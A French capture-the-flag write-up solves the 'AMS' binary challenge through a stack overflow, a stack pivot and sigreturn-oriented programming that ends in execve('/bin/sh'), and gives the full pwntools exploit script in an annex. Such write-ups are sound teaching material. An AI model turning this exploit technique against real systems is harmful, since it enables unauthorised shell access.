AMS

Le Midnight CTF est une compétition type Capture the Flag qui s’est déroulé à l’ESNA (Ecole Supérieur du Numérique Appliqué) de Bretagne. L’article suivant présente la résolution du challenge d’exploitation de binaire AMS.

Sommaire

  • Etats des lieux
  • Vulnérabilité
  • Exploitation
  • Annexe

Etats des lieux

D’après l’utilitaire checksec le binaire est un exécutable ELF. Certaines mitigations ne sont pas présentes comme l’utilisation de stack cookie et PIE (Position Independant Executable). L’exécutable seras toujours chargé en mémoire à partir de l’adresse 0x400000.

$ checksec AMS
[*] '/mnt/d/MidnightFlagCTF/Avion/AMS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Le binaire propose un menu avec 3 options, le challenge est plutôt axé sur l’exploitation de vulnérabilité que la recherche de vulnérabilité.

$ ./AMS
Welcome to AMS.
Here is what you can do:
------ Airplane Management System -----
1. Lookup a plane
2. Lookup a flight
3. Register for a flight.
4. Exit.

Vulnérabilité

Le binaire est assez simpliste et ne propose que de saisir des données sans les réafficher plus tard. La vulnérabilité est de type stack buffer overflow. L’identifiant de vol (choix n°2) est saisi dans un buffer flight_id qui ne fait en réalité que 46 octets.

Là où ça se complique un peu, c’est que le programme nous autorise à saisir que 72 octets. Il faut déjà envoyer 56 octets pour écraser l’adresse de retour, ce qui nous laisse la possibilité d’appeler au maximum 2 gadgets (les adresses étant sur 64 bits, 1 gadget consomme 8 octets).

Exploitation

Heureusement le concepteur du challenge nous a laissé quelques gadgets à coté d’une fonction nommée gift.

Le premier gadget permet de déplacer la valeur de RBP dans RAX. Comme la fonction vulnérable se termine par une instruction leave cela nous permet de setter RBP. Le deuxième gadget soustrait RAX à RSP, cela permet de réaliser un pivot, c’est-à-dire déplacer RSP vers un endroit intéressant où l’on aurait préalablement placé une ropchain. On contrôle quasiment tout le contenu du cadre de pile avec les buffers v4, user_info, plane_id et flight_id.

Il y a un gadget pop rax ; ret ce qui nous permet de choisir le numéro du syscall à appeler, mais malheureusement on ne contrôle par directement les registres RDI, RSI et RDX nécessaire pour passer des arguments aux syscalls. Pour contourner le problème on va utiliser la technique de la SROP (Sigreturn-oriented programming)

Cette technique consiste à tirer avantage du syscall sigreturn (syscall n°15 sur l’architecture Intel x64). Celui-ci ne prend aucun argument et permet de restaurer un contexte d’exécution préalablement stocké sur la stack. Dans un cadre légitime, lorsqu’un processus reçoit un signal le kernel prépare un cadre de pile dans lequel est sauvegardée l’état du CPU, ensuite il donne la main au gestionnaire de signal préalablement installé par le programme. Après avoir géré le signal, le programme peut reprendre son exécution là où il en était. La dernière instruction du gestionnaire de signal dépile l’adresse de retour qui n’est autre que l’adresse de sigreturn qui restaure le contexte d’exécution à partir de ce qui a été placé sur la pile.

Le contexte d’exécution est défini par une structure nommée ucontext_t.

On peut préparer une première ropchain pour faire un appel au syscall read pour chargé une deuxième ropchain à une adresse connue comme la section data du programme (0x4040B8). Pour brancher sur la deuxième ropchain on va setter RSP vers la section data via le syscall sigreturn.

Heureusement pwntools facilite le travail via l’objet SigreturnFrame qui permet de construire une structure ucontext_t valide (penser a préciser l’architecture avant d’utiliser SigreturnFrame). Une des difficultés du challenge est de découper sa payload en plusieurs morceaux pour l’inscrire dans la pile de la fonction vulnérable.

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0 # STDIN
frame.rsi = 0x4040B8 
frame.rdx = 280
frame.rsp = 0x4040B8
frame.rip = SYSCALL

ropchain  = p64(POP_RAX)
ropchain += p64(0xf)
ropchain += p64(SYSCALL)
ropchain += bytes(frame)
ropchain += p64(0xdeadbeef)

La deuxième ropchain s’occupe via la même technique d’appeler execve pour obtenir un shell. La chaîne /bin/sh est envoyée à la suite de la deuxième payload dans la section .data ce qui permet de connaître son adresse.

Annexe

Code complet d’exploitation

from pwn import *

POP_RAX     = 0x0401395
SUB_RSP_RAX = 0x040139A 
SYSCALL     = 0x040139E 
GIFT        = 0x0401391

context.arch='amd64'

TOTAL_BUF_SIZE = 0x136+8

p = remote("dyn-01.midnightflag.fr",11246)
# p = process("./AMS")
p.recvuntil(b"Here is what you can do:")
print(p.recvuntil(b"> ").decode('utf-8'))

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0 # STDIN
frame.rsi = 0x4040B8 
frame.rdx = 280
frame.rsp = 0x4040B8
frame.rip = SYSCALL

ropchain  = p64(POP_RAX)
ropchain += p64(0xf)
ropchain += p64(SYSCALL)
ropchain += bytes(frame)
ropchain += p64(0xdeadbeef)
# pad
ropchain += b"\x00" * (TOTAL_BUF_SIZE - len(ropchain))
print(len(ropchain))

if b"\n" in ropchain:
    print("WARNING")

p.sendline(b"3")
p.recvuntil(b"Flight ID: ")
p.send(ropchain[0:32-1])
p.recvuntil(b"User Info: ")
p.send(ropchain[32:200+32-1])
print(p.recvuntil(b"> ").decode('utf-8'))

p.sendline(b"1")
p.recvuntil(b"Plane ID: ")
p.send(ropchain[32+0xC8+8:32+0xC8+8+32-1])
p.recvuntil(b"> ")

p.sendline(b"2")
p.recvuntil(b"Flight ID: ")

loader = p64(GIFT)
loader+= p64(SUB_RSP_RAX)

p.send(ropchain[32+0xC8+8+32:32+0xC8+8+32+46]+b"XX"+p64(0x158)+loader[:len(loader)-1])
# raw_input(">>")
# time.sleep(1)


frame = SigreturnFrame()
frame.rax = 59
frame.rdi = 0x4040B8 + (280 - len("/bin/sh\x00"))
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x4040B8 
frame.rip = SYSCALL 

rop2  = p64(POP_RAX)
rop2 += p64(0xf)
rop2 += p64(SYSCALL)
rop2 += bytes(frame)
rop2 += b"/bin/sh\x00"

p.send(rop2)
p.interactive()